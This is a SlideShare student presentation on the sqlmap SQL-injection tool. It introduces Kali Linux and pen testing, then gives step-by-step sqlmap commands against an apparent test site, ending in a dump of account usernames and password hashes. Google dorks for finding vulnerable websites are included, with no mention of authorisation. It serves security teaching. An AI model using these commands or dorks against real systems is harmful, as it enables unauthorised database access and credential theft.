SlideShare a Scribd company logo
sqlmap
PENETRATION TESTING TOOL
Presented By,
SHAMSHAD T
MCA
CONTENT
• INTRODUCTION
• PENETRATION TESTING TOOL
• SQL INJECTION
• SQLMAP
• FEATURES
• SQLMAP ENUMERATION
• STEPS
• CONCLUSION
• REFERENCES
INTRODUCTION
 Kali Linux is a Debian-based Linux distribution aimed at advanced
Penetration Testing and Security Auditing. Kali contains several
hundred tools which are geared towards various information
security tasks, such as Penetration Testing, Security research,
Computer Forensics and Reverse Engineering.
 It was developed by Mati Aharoni and Devon
Kearns of Offensive Security through the rewrite of BackTrack,
their previous forensics Linux distribution based on Knoppix.
The third core developer Raphaël Hertzog joined them as a
Debian expert. Kali Linux is based on Debian Testing.
Kali Linux was released on the 13th March, 2013 as a complete,
top-to-bottom rebuild of BackTrack Linux, adhering completely
to Debian development standards.
PENETRATION TESTING TOOL
Penetration testing (also called pen testing) is the practice of testing a
computer system, network or Web application to find vulnerabilities
that an attacker could exploit.
The main objective of penetration testing is to determine security
weaknesses. A pen test can also be used to test an organization's
security policy compliance, its employees' security awareness and the
organization's ability to identify and respond to security incidents.
 SQL injection is a code injection technique that might destroy your database.
 SQL injection is one of the most common web hacking techniques.
 SQL injection is the placement of malicious code in SQL statements, via web page input.
SQL Injection
sqlmap
 sqlmap is an open source penetration testing tool that automates
the process of detecting and exploiting SQL injection flaws and
taking over of database servers. It comes with a powerful detection
engine, many niche features for the ultimate penetration tester and
a broad range of switches lasting from database fingerprinting, over
data fetching from the database, to accessing the underlying file
system and executing commands on the operating system via out-
of-band connections.
 Sqlmap is developed in python.
Sqlmap
FEATURES
 Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL
Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,
SAP MaxDB, HSQLDB and Informix database management
systems.
 Full support for six SQL injection techniques: boolean-based
blind, time-based blind, error-based, UNION query-based,
stacked queries and out-of-band.
 Automatic recognition of password hash formats and support
for cracking them using a dictionary-based attack.
Support to dump database tables entirely, a range of
entries or specific columns as per user's choice. The user can
also choose to dump only a range of characters from each
column's entry.
Support to search for specific database names, specific
tables across all databases or specific columns across all
databases' tables
Sqlmap ENUMERATION
 DBMS Server hostname : --hostname
 Dbms user the application is using: --current-user
 Applications current DB: --current-db
 If the current user is a DB: --is-dba
 List the DBMS users: --users
 List all DBMS users ,password hashes: --passwords
 List all available databases: --dbs
 List all tables or just for a specific database: --tables(-D <database name>)
 List all columns or for a specific table from that database: --columns
 Count table entries
 Dump data from a database/table/column: --dump,--dump-all
STEP
S Step #1 Start sqlmap
First, fire up Kali and go to Applications -> Database
Assessment ->sqlmap, as shown in the screenshot below
Step #2 Find a Vulnerable Web Site
 In order to get "inside" the web site and, ultimately the
database, we are looking for web sites that end in
"php?id=xxx" where xxx represents some number. Those who
are familiar with google hacks/dorks can do a search on
google by entering:
 inurl:index.php?id=
 inurl:gallery.php?id=
Step #3 Open sqlmap
When you click on sqlmap, you will be greeted by a screen
that below.
Sqlmap is a powerful tool, written as a Python script (we will be
doing Python tutorial soon) that has a multitude of options.
Step #4 Determine the DBMS Behind the Web Site
Before we begin hacking a web site, we need to gather
We need to know what we are hacking.
The start sqlmap on this task, we type:
kali> sqlmap -u "the entire URL of the vulnerable web page“
or this case:
For eg:
kali> sqlmap -u
"http://www.webscantest.com/datastore/ search_get_by_id.php?id=4"
 When we do so, sqlmap will return results like that below. Notice
where I highlighted that the web site backend is using MySQL 5.0
Step #5 Find the Databases
We take the command we used above and append it with --dbs, like this:
kali > sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" --dbs
When we run this command against www.webscantest.com we get the results like
 Notice that I have circled the two available databases, information
schema and webscantest. Information schema is included in every
MySQL installation and it includes information on all the objects in
the MySQL instance, but not data of interest.
 Although it can be beneficial to explore that database to find objects
in all the databases in the instance, we will focus our attention on the
other database here, webscantest, that may have some valuable
information.
Step #6 Get More Info from the Database
So, now we know what the DBMS is (MySQL 5.0) and the name of a
database of interest (webscantest). The next step is to try to determine the
tables and columns in that database. In this way, we will have some idea
what data is in the database, where it is and what type of data it contains
(numeric or string). All of this information is critical and necessary to
extracting the data. To do this, we need to make some small revisions to
our sqlmap command.
Everything else we have used above remains the same, but now we tell
sqlmap we want to see the tables and columns from the
webscantest database. We can append our command with --columns -
D and the name of the database, webscantest such as this:
When we do so, sqlmap will target the webscantest database and
attempt to enumerate the tables and columns in this database.
kali > sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" -D webscantest --tables
kali > sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" -D webscantest -T accounts --
columns
Sqlmap
Step #6 Get More Info from the Tables
kali > sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" -D webscantest -T accounts –C
uname,passwd --dump
Display all the username and password. But the password is a hashed
password. The password is encrypted and we need to decrypt it. To
crack the password we need another kali tool that is hash_identifier to
identify the type of hash.
CONCLUSION
 sqlmap is an open source penetration testing tool that automates
the process of detecting and exploiting SQL injection flaws and
taking over of database servers.
 By using this tool we can find the vulnerable wbsites and access
the database.
REFERENCES
• http://sqlmap.org/
• https://hackertarget.com/sqlmap-tutorial/
• https://www.binarytides.com/sqlmap-hacking-tutorial/
 Youtube
Sqlmap

More Related Content

PPTX
PPTX
Lex & yacc
PDF
Snyk Intro - Developer Security Essentials 2022
DOC
Vlsm exercises solutions
PPTX
Understanding NMAP
PPTX
Pid controllers
PDF
Deep Learning - Overview of my work II
Lex & yacc
Snyk Intro - Developer Security Essentials 2022
Vlsm exercises solutions
Understanding NMAP
Pid controllers
Deep Learning - Overview of my work II

What's hot (20)

PPT
SQLMAP Tool Usage - A Heads Up
PDF
Sql injection with sqlmap
PPTX
PDF
Sql Injection - Vulnerability and Security
PPTX
SQL INJECTION
PDF
sqlmap internals
PPTX
Sql injection
PPTX
Sql injection
PPT
SQL Injection
PPTX
Sql injections - with example
PPTX
Sql injection
PPT
Sql injection attack
PPT
Sql injection
PPT
A Brief Introduction in SQL Injection
PDF
SQL injection: Not Only AND 1=1 (updated)
PDF
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
PPTX
SQL Injections - A Powerpoint Presentation
PPTX
Ppt on sql injection
PPT
MySQL Atchitecture and Concepts
SQLMAP Tool Usage - A Heads Up
Sql injection with sqlmap
Sql Injection - Vulnerability and Security
SQL INJECTION
sqlmap internals
Sql injection
Sql injection
SQL Injection
Sql injections - with example
Sql injection
Sql injection attack
Sql injection
A Brief Introduction in SQL Injection
SQL injection: Not Only AND 1=1 (updated)
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Injections - A Powerpoint Presentation
Ppt on sql injection
MySQL Atchitecture and Concepts
Ad

Similar to Sqlmap (20)

PPTX
sqlmap- using -kali -linux by-22011556-105.pptx
PDF
Sql Injection 0wning Enterprise
PPTX
Web application penetration using SQLMAP.
PPT
Mysql
PPT
Php classes in mumbai
PPT
Mysql ppt
PDF
SQL Injection
PPT
PPTX
Database Systems and SQL
PDF
Sql injection manish file
PDF
SULTHAN's PHP, MySQL & wordpress
ODP
Sql installation
PPT
Sql php-vibrant course-mumbai(1)
PDF
Introduction to Apache Amaterasu (Incubating): CD Framework For Your Big Data...
PDF
Practical Approach towards SQLi ppt
PPTX
Powering a Graph Data System with Scylla + JanusGraph
PPTX
Using Cassandra with your Web Application
DOC
Database Security Explained
PPTX
IMC Summit 2016 Breakout - William Bain - Implementing Extensible Data Struct...
sqlmap- using -kali -linux by-22011556-105.pptx
Sql Injection 0wning Enterprise
Web application penetration using SQLMAP.
Mysql
Php classes in mumbai
Mysql ppt
SQL Injection
Database Systems and SQL
Sql injection manish file
SULTHAN's PHP, MySQL & wordpress
Sql installation
Sql php-vibrant course-mumbai(1)
Introduction to Apache Amaterasu (Incubating): CD Framework For Your Big Data...
Practical Approach towards SQLi ppt
Powering a Graph Data System with Scylla + JanusGraph
Using Cassandra with your Web Application
Database Security Explained
IMC Summit 2016 Breakout - William Bain - Implementing Extensible Data Struct...
Ad

Recently uploaded (20)

PDF
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PDF
01-Introduction-to-Information-Management.pdf
PDF
102 student loan defaulters named and shamed – Is someone you know on the list?
PDF
Microbial disease of the cardiovascular and lymphatic systems
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
Complications of Minimal Access Surgery at WLH
PDF
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PPTX
Renaissance Architecture: A Journey from Faith to Humanism
PDF
TR - Agricultural Crops Production NC III.pdf
PDF
Module 4: Burden of Disease Tutorial Slides S2 2025
PDF
RMMM.pdf make it easy to upload and study
PPTX
Pharma ospi slides which help in ospi learning
PPTX
Institutional Correction lecture only . . .
PDF
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
PPTX
Microbial diseases, their pathogenesis and prophylaxis
PDF
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
PDF
3rd Neelam Sanjeevareddy Memorial Lecture.pdf
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
STATICS OF THE RIGID BODIES Hibbelers.pdf
human mycosis Human fungal infections are called human mycosis..pptx
01-Introduction-to-Information-Management.pdf
102 student loan defaulters named and shamed – Is someone you know on the list?
Microbial disease of the cardiovascular and lymphatic systems
Final Presentation General Medicine 03-08-2024.pptx
Complications of Minimal Access Surgery at WLH
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
2.FourierTransform-ShortQuestionswithAnswers.pdf
Renaissance Architecture: A Journey from Faith to Humanism
TR - Agricultural Crops Production NC III.pdf
Module 4: Burden of Disease Tutorial Slides S2 2025
RMMM.pdf make it easy to upload and study
Pharma ospi slides which help in ospi learning
Institutional Correction lecture only . . .
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
Microbial diseases, their pathogenesis and prophylaxis
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
3rd Neelam Sanjeevareddy Memorial Lecture.pdf

Sqlmap

  • 2. CONTENT • INTRODUCTION • PENETRATION TESTING TOOL • SQL INJECTION • SQLMAP • FEATURES • SQLMAP ENUMERATION • STEPS • CONCLUSION • REFERENCES
  • 3. INTRODUCTION  Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.  It was developed by Mati Aharoni and Devon Kearns of Offensive Security through the rewrite of BackTrack, their previous forensics Linux distribution based on Knoppix.
  • 4. The third core developer Raphaël Hertzog joined them as a Debian expert. Kali Linux is based on Debian Testing. Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of BackTrack Linux, adhering completely to Debian development standards.
  • 5. PENETRATION TESTING TOOL Penetration testing (also called pen testing) is the practice of testing a computer system, network or Web application to find vulnerabilities that an attacker could exploit. The main objective of penetration testing is to determine security weaknesses. A pen test can also be used to test an organization's security policy compliance, its employees' security awareness and the organization's ability to identify and respond to security incidents.
  • 6.  SQL injection is a code injection technique that might destroy your database.  SQL injection is one of the most common web hacking techniques.  SQL injection is the placement of malicious code in SQL statements, via web page input. SQL Injection
  • 7. sqlmap  sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out- of-band connections.  Sqlmap is developed in python.
  • 9. FEATURES  Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.  Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.  Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • 10. Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry. Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables
  • 11. Sqlmap ENUMERATION  DBMS Server hostname : --hostname  Dbms user the application is using: --current-user  Applications current DB: --current-db  If the current user is a DB: --is-dba  List the DBMS users: --users  List all DBMS users ,password hashes: --passwords  List all available databases: --dbs  List all tables or just for a specific database: --tables(-D <database name>)  List all columns or for a specific table from that database: --columns  Count table entries  Dump data from a database/table/column: --dump,--dump-all
  • 12. STEP S Step #1 Start sqlmap First, fire up Kali and go to Applications -> Database Assessment ->sqlmap, as shown in the screenshot below
  • 13. Step #2 Find a Vulnerable Web Site  In order to get "inside" the web site and, ultimately the database, we are looking for web sites that end in "php?id=xxx" where xxx represents some number. Those who are familiar with google hacks/dorks can do a search on google by entering:  inurl:index.php?id=  inurl:gallery.php?id=
  • 14. Step #3 Open sqlmap When you click on sqlmap, you will be greeted by a screen that below. Sqlmap is a powerful tool, written as a Python script (we will be doing Python tutorial soon) that has a multitude of options.
  • 15. Step #4 Determine the DBMS Behind the Web Site Before we begin hacking a web site, we need to gather We need to know what we are hacking. The start sqlmap on this task, we type: kali> sqlmap -u "the entire URL of the vulnerable web page“ or this case:
  • 16. For eg: kali> sqlmap -u "http://www.webscantest.com/datastore/ search_get_by_id.php?id=4"
  • 17.  When we do so, sqlmap will return results like that below. Notice where I highlighted that the web site backend is using MySQL 5.0
  • 18. Step #5 Find the Databases We take the command we used above and append it with --dbs, like this: kali > sqlmap -u "http://www.webscantest.com/datastore/ search_get_by_id.php?id=4" --dbs
  • 19. When we run this command against www.webscantest.com we get the results like
  • 20.  Notice that I have circled the two available databases, information schema and webscantest. Information schema is included in every MySQL installation and it includes information on all the objects in the MySQL instance, but not data of interest.  Although it can be beneficial to explore that database to find objects in all the databases in the instance, we will focus our attention on the other database here, webscantest, that may have some valuable information.
  • 21. Step #6 Get More Info from the Database So, now we know what the DBMS is (MySQL 5.0) and the name of a database of interest (webscantest). The next step is to try to determine the tables and columns in that database. In this way, we will have some idea what data is in the database, where it is and what type of data it contains (numeric or string). All of this information is critical and necessary to extracting the data. To do this, we need to make some small revisions to our sqlmap command. Everything else we have used above remains the same, but now we tell sqlmap we want to see the tables and columns from the webscantest database. We can append our command with --columns - D and the name of the database, webscantest such as this:
  • 22. When we do so, sqlmap will target the webscantest database and attempt to enumerate the tables and columns in this database. kali > sqlmap -u "http://www.webscantest.com/datastore/ search_get_by_id.php?id=4" -D webscantest --tables kali > sqlmap -u "http://www.webscantest.com/datastore/ search_get_by_id.php?id=4" -D webscantest -T accounts -- columns
  • 24. Step #6 Get More Info from the Tables kali > sqlmap -u "http://www.webscantest.com/datastore/ search_get_by_id.php?id=4" -D webscantest -T accounts –C uname,passwd --dump Display all the username and password. But the password is a hashed password. The password is encrypted and we need to decrypt it. To crack the password we need another kali tool that is hash_identifier to identify the type of hash.
  • 25. CONCLUSION  sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.  By using this tool we can find the vulnerable wbsites and access the database.
  • 26. REFERENCES • http://sqlmap.org/ • https://hackertarget.com/sqlmap-tutorial/ • https://www.binarytides.com/sqlmap-hacking-tutorial/  Youtube